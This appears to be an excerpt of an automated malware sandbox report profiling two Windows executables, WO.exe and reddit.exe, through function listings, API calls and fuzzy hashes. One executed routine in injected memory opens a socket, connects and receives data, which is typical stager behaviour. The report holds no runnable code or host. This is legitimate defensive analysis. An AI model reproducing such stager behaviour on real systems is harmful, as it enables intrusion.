memset.MSVCRT ref: 000000014000E9E2
memset.MSVCRT ref: 000000014000E9F1
memset.MSVCRT ref: 000000014000E9FF

Part of subcall function 000000014000FEE4: memmove.MSVCRT ref: 000000014000FF5C

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: memset$memmove
String ID:
API String ID: 3527438329-0
Opcode ID: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction ID: dba297aa8fb042b18ff0822facc25e4acf5e394d44c3b4579297ae20e1131b5c
Opcode Fuzzy Hash: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction Fuzzy Hash: E231007271064081FB16DA2BE4507E96612E38DBD0F848126EB1A83BAACA7EC502C740

Function 00000001400130CB Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130EB
, xrefs: 00000001400130CB

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $ $header crc mismatch
API String ID: 0-4092041874
Opcode ID: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction ID: f6894c87bdfd3a48e6411c52319aba3e102a5ca19e93322268f312efd41433f4
Opcode Fuzzy Hash: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction Fuzzy Hash: 41A18FB26003508BFB269E1AC48C7AE3BE6F7587C8F064558EB964B3A4D776C954C780

Function 0000000140007A50 Relevance: 6.2, APIs: 4, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 0000000140007B33
wcsncpy.MSVCRT ref: 0000000140007B9F
wcsncpy.MSVCRT ref: 0000000140007BF9
HeapFree.KERNEL32 ref: 0000000140007C15

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Heapwcsncpy$AllocFree
String ID:
API String ID: 1479455602-0
Opcode ID: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction ID: 28fd82db213d89e843f0df720333d3fbeca218ccf85cb71e10007619eb34b75b
Opcode Fuzzy Hash: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction Fuzzy Hash: BF51A0B2B0068486EA66DF26A404BEA67E1F789BD4F588125EF4D477E5EB3CC542C300

Function 00000001400136B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000014001375C

Strings

, xrefs: 00000001400136BA
, xrefs: 00000001400136DB
invalid stored block lengths, xrefs: 00000001400136F0

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: memmove
String ID: $ $invalid stored block lengths
API String ID: 2162964266-1718185709
Opcode ID: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction ID: 754f218cd566fbce8dd602483dcb0b6cf2df6dd41c0e80f26ad42ee7a9f80f3a
Opcode Fuzzy Hash: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction Fuzzy Hash: 3A417B766006508BE7268F27D5887AE3BA0F3087C8F155119FF8A4BBA4C776D8A1CB40

Function 000000014000C4F0 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5A6
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5E1
RtlVirtualUnwind.KERNEL32 ref: 000000014000C64C
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C672

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: EntryFunctionLookup$UnwindVirtual
String ID:
API String ID: 3286588846-0
Opcode ID: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction ID: 3ebace1c390976f506d0f99ca18ed721a427f0b26ede3763bfd5663c46823d1b
Opcode Fuzzy Hash: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction Fuzzy Hash: 48512E66A15FC481EA61CB29E5453ED63A0FB9DB84F09A215DF8C13756EF34D2D4C700

Function 00000001400085F0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

CharLowerW.USER32 ref: 000000014000861A
CharLowerW.USER32 ref: 000000014000864F
CharLowerW.USER32 ref: 000000014000867D
CharLowerW.USER32 ref: 0000000140008688

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction ID: 89447f37e157e5f910190f26039f07b44efb98263a832e051549732566d91b47
Opcode Fuzzy Hash: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction Fuzzy Hash: BB2181766006A092EA66EF13A8047BA76A0F748BF5F5A4211FFD5072E0DB35C495D710

Function 00000001400171F0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014001724E
malloc.MSVCRT ref: 0000000140017260
WideCharToMultiByte.KERNEL32 ref: 000000014001728B
malloc.MSVCRT ref: 00000001400172A2

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction ID: 84a502ef329111f45b75735ee98b05bbb8abde518fb530cc481733cdeaf2302d
Opcode Fuzzy Hash: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction Fuzzy Hash: 76216532608B8086D725CF56B44079AB7A5F7887D4F088325FF9917BA9DF3DC5529700

Function 000000014000DCA4 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderLocation.SHELL32 ref: 000000014000DCCD
SHGetPathFromIDListW.SHELL32 ref: 000000014000DCDF
wcslen.MSVCRT ref: 000000014000DCEC
CoTaskMemFree.OLE32 ref: 000000014000DD0F

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: FolderFreeFromListLocationPathTaskwcslen
String ID:
API String ID: 4012708801-0
Opcode ID: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction ID: 658b845125df41e3d707b834e255611bbe4f6e958313e82604e3ea1cd6ed1d71
Opcode Fuzzy Hash: 47ccaf1a7f74cd3e733cb6c5cd31dbbbe8972a233b29932fb87548b6fe9d3e17
Instruction Fuzzy Hash: 50016972314A5092E7219B26A5807AAA3B4FB88BC0F548026EB4987774DF3AC8528300

Function 000000014001147C Relevance: 5.1, APIs: 4, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001149E
HeapAlloc.KERNEL32 ref: 0000000140011573
HeapAlloc.KERNEL32 ref: 0000000140011597
LeaveCriticalSection.KERNEL32 ref: 0000000140011600

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction ID: a4d5f086a96e389f2db612197d0023b8b07f868559dabceebcf4944cd54701ff
Opcode Fuzzy Hash: 38d32e320765f0e197812c7802676496a175ef663a849a6793450ef0177ea7f4
Instruction Fuzzy Hash: 47513A72601B44C7EB5ACF26E18039873A5F78CF88F188526EB4E4B766DB35D4A1C750

Function 000000014000D02C Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 000000014000D0B1
HeapAlloc.KERNEL32 ref: 000000014000D0C7
wcscpy.MSVCRT ref: 000000014000D0D7
memset.MSVCRT ref: 000000014000D111

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapmemsetwcscpywcslen
String ID:
API String ID: 1807340688-0
Opcode ID: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction ID: 2291175711b854bc4f74fb4265d0f1bd771c1a5bff4f4550b8324bf1b1149364
Opcode Fuzzy Hash: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction Fuzzy Hash: DA3129B1605B4081EB16EF27A5443ECB7A1EB8CFD4F588126AF4D0B7AADF39C4518351

Function 000000014000CCD8 Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE61
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE74
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE8F
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CEB1

HeapAlloc.KERNEL32 ref: 000000014000CD11
HeapAlloc.KERNEL32 ref: 000000014000CD42
HeapAlloc.KERNEL32 ref: 000000014000CDB2
HeapFree.KERNEL32 ref: 000000014000CDD8

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Heap$Free$Alloc
String ID:
API String ID: 3901518246-0
Opcode ID: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction ID: 7f7b652e9f7b58be947c1c734e7a82da3d99598ff0fb71c13e03353473737a2d
Opcode Fuzzy Hash: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction Fuzzy Hash: 063142B2211B409BE702DF13EA807A937A4F78CBD0F448429EB4847B65DF79E4A6C740

Function 00000001400112A8 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400112C4
HeapReAlloc.KERNEL32 ref: 0000000140011308
LeaveCriticalSection.KERNEL32 ref: 0000000140011355

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction ID: 37e1212d5150fef44f5374ae18cee5b2af0a62904f946070966fd9e2c84ce28f
Opcode Fuzzy Hash: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction Fuzzy Hash: 7B210872615B4482EB198F66E5403EC6361F78CFD4F548612EB6E4B7AACF38C552C350

Function 0000000140017120 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 0000000140017161
malloc.MSVCRT ref: 000000014001717B
MultiByteToWideChar.KERNEL32 ref: 0000000140017196
malloc.MSVCRT ref: 00000001400171B3

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction ID: 61c3440d716b3c64d08436ee48054615140ae5ecb8d8084460387f48d4e9dd56
Opcode Fuzzy Hash: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction Fuzzy Hash: BB11C13260878082EB25CF26B41076AB7A4FB89BE4F140328EF9D57BE5DF39C0118704

Function 0000000140011668 Relevance: 5.0, APIs: 4, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001167F
HeapFree.KERNEL32 ref: 000000014001169A
HeapFree.KERNEL32 ref: 00000001400116BC
LeaveCriticalSection.KERNEL32 ref: 00000001400116E2

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction ID: 5186432533761a1e63310800083548d259c5d54e134ea9fda60ce401f62d664d
Opcode Fuzzy Hash: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction Fuzzy Hash: 76114C76600B4082EB5A9F53E5943E823A0FB9CBC5F4C8416EB091B6A7DF3AC4A5C300

Function 000000014000CE30 Relevance: 5.0, APIs: 4, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000D140: memset.MSVCRT ref: 000000014000D1C3

Part of subcall function 0000000140011968: EnterCriticalSection.KERNEL32 ref: 0000000140011985
Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7
Part of subcall function 0000000140011968: LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

HeapFree.KERNEL32 ref: 000000014000CE61
HeapFree.KERNEL32 ref: 000000014000CE74
HeapFree.KERNEL32 ref: 000000014000CE8F
HeapFree.KERNEL32 ref: 000000014000CEB1

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction ID: bd40ed23f28c7418c8be6727045953eb2e8c2f29468db0d1e18b21a18f306043
Opcode Fuzzy Hash: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction Fuzzy Hash: FD01C8B5600B8492EB06EB63E9903E923A1FBCDBD0F488416AF0D1B776CF39D4518740

Analysis Process: reddit.exePID: 6800, Parent PID: 7068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	14.7%
Signature Coverage:	11.8%
Total number of Nodes:	68
Total number of Limit Nodes:	3

Executed Functions

Function 00690095 Relevance: 6.1, APIs: 4, Instructions: 81
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketA.WS2_32(E0DF0FEA,00000002,00000001,00000000,00000000,00000000,00000000,61040002,17DDB993,0000000A,?,?,5F327377,00003233), ref: 006900D5
connect.WS2_32(6174A599,?,?,00000010,?,?,5F327377,00003233), ref: 006900E1
recv.WS2_32(5FC8D902,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 006900FC
closesocket.WS2_32(614D6E75,?,?,?,00000004,00000000,?,?,00000010,?,?,5F327377,00003233), ref: 0069013F

Memory Dump Source

Source File: 00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp, Offset: 00690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_690000_reddit.jbxd

Yara matches

Similarity

API ID: Socketclosesocketconnectrecv
String ID:
API String ID: 2083937939-0
Opcode ID: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction ID: 327eec653f23560a16df2192c97ad8ff14f98007befe078a999dd95378402dd5
Opcode Fuzzy Hash: 84d56f8600d23d128e6293084ea8b9ff6e5c57e2ecd32b084406f59f59bbaeb3
Instruction Fuzzy Hash: A711C0B168029C3EF93022A29C47FBB291CCF42BA4F100025BB45FA5C1C8829C4481FA

Function 00403840 Relevance: 1.3, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2895553880.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895609780.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895642075.000000000040D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895673835.0000000000415000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_reddit.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ceb6121e470dd3cfc2d7d2917fae457fcaf0d6d10cf17591cb545ae1a2ff9fe
Instruction ID: c05b59b9f4d16bb34214b641b6d9fa06ca1f9ade271ab6cde73b9576214de40b
Opcode Fuzzy Hash: 3ceb6121e470dd3cfc2d7d2917fae457fcaf0d6d10cf17591cb545ae1a2ff9fe
Instruction Fuzzy Hash: 4DD0C2672CA205B9E120BC404C86BF60ECC570DB52F24D4B2B30B761C3C2BC0B4220DE

Function 0040384C Relevance: 1.3, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(E553A458,00000000,00000162,00001000,00000040), ref: 0040385C

Memory Dump Source

Source File: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2895553880.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895609780.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895642075.000000000040D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895673835.0000000000415000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_reddit.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: db0306e660f09edcc4f5f164cefd3230d4254f124b2ae6d508b866a97e50a146
Instruction ID: 4c74da6d6e42419762f900211d688d1802f97791c277bf9d3c462be40ba0076a
Opcode Fuzzy Hash: db0306e660f09edcc4f5f164cefd3230d4254f124b2ae6d508b866a97e50a146
Instruction Fuzzy Hash: 84C080E56606265FD113E8541CD15D57FDF4A0572234444BFE50187481C65545C3958E

Function 0040385B Relevance: 1.3, APIs: 1, Instructions: 3
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(E553A458,00000000,00000162,00001000,00000040), ref: 0040385C

Memory Dump Source

Source File: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2895553880.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895609780.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895642075.000000000040D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895673835.0000000000415000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_reddit.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ba2b6113f8c1361e142327349295ae9b9a32fc9305af006692fd18a4717b3ee3
Instruction ID: aa9c93fac3d8d666de76663d130f4f6789e6514029e2e882532ee80fad553c2d
Opcode Fuzzy Hash: ba2b6113f8c1361e142327349295ae9b9a32fc9305af006692fd18a4717b3ee3
Instruction Fuzzy Hash:

Non-executed Functions

Function 00404823 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2895553880.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895609780.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895642075.000000000040D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2895673835.0000000000415000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_reddit.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28fd3fa50fbd8cf2bb7474e30977f42a20ef7becb69c517353e431a02ed97b9e
Instruction ID: 499dceeee35c5cbcfd260d2c75f29c8aca30d98019ce3b9202ad5b964b78262f
Opcode Fuzzy Hash: 28fd3fa50fbd8cf2bb7474e30977f42a20ef7becb69c517353e431a02ed97b9e
Instruction Fuzzy Hash: 19017B31A8C2961BD3018A645806D85BFA49B83230F0843BACC91EB3E3C355D45AC3CA

Analysis Process: WO.exePID: 2476, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	14.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	814
Total number of Limit Nodes:	20

Executed Functions

Function 000000014000D9C4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

